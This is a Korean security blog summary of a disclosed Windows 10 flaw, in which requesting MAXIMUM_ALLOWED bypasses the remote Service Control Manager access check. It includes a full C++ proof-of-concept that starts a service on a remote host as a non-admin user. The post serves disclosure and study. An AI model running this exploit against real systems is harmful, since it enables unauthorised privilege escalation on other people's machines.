[하루한줄] Windows SCM Remote Access Check Limit Bypass EoP
URL
Issue 2147: Windows: SCM Remote Access Check Limit Bypass EoP
Target
- Windows 10 20H2
Explain
Windows 10 1709 이후 원격으로 local admin group이 아닌 원격 사용자가 SCM
및 service access
에 접근 할 수 없도록 적용되었습니다.
사용자가 local 관리자 그룹에 없는 경우 OpenSCManager
또는 OpenService
에 전달된 Access mask
가 0xD0072
에 대해 ScAccessCheckAndAudit
에서 검사됩니다. 만약 access mask에 access 권한이 있으면 SCM이 access denied error
와 함께 거절합니다. 이렇게 하면 원격 사용자가 SERVICE_START
혹은 SC_MANAGER_CREATE_SERVICE
를 사용 할 수 없습니다.
하지만 원하는 access 권한은 RPC 호출에서 NtAccessCheckAndAuditAlarm
으로 전달되고 access 권한은 Service Handle
에 다시 기록됩니다.
따라서 이 검증은 MAXIMUM_ALLOWED
를 request 함으로써 우회할 수 있습니다. POC 코드는 다음과 같습니다.
#include <stdio.h>
#include <windows.h>
int wmain(int argc, wchar_t** argv)
{
if (argc < 3)
{
printf("Usage: HostName ServiceName\\n");
return 1;
}
auto scm = OpenSCManager(argv[1], nullptr, MAXIMUM_ALLOWED);
if (scm == nullptr)
{
printf("[ERROR]: Failed to open SCM error:%d\\n", GetLastError());
return 0;
}
auto service = OpenService(scm, argv[2], SERVICE_START);
if (service)
{
printf("[ERROR]: Was granted SERVICE_START when we didn't expect it. Maybe using the wrong user?\\n");
return 0;
}
DWORD error = GetLastError();
if (error == ERROR_SERVICE_DOES_NOT_EXIST)
{
printf("[ERROR]: Service doesn't exist.\\n");
return 0;
}
if (error != ERROR_ACCESS_DENIED)
{
printf("[ERROR]: Expected ERROR_ACCESS_DENIED but got %d, the rest might not work.\\n", GetLastError());
}
service = OpenService(scm, argv[2], MAXIMUM_ALLOWED);
if (service == nullptr)
{
printf("[ERROR]: Failed to open service error:%d\\n", GetLastError());
return 0;
}
error = ERROR_SUCCESS;
if (!StartService(service, 0, nullptr))
{
error = GetLastError();
}
switch (error)
{
case ERROR_ACCESS_DENIED:
printf("[ERROR]: Got access denied error.\\n");
break;
case ERROR_SUCCESS:
printf("[SUCCESS]: Successfully started service.\\n");
break;
case ERROR_SERVICE_DISABLED:
printf("[SUCCESS]: Service was disabled but passed the access check.\\n");
break;
default:
printf("[WARNING]: Didn't start service but didn't get back expected error:%d\\n", error);
}
return 0;
}
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.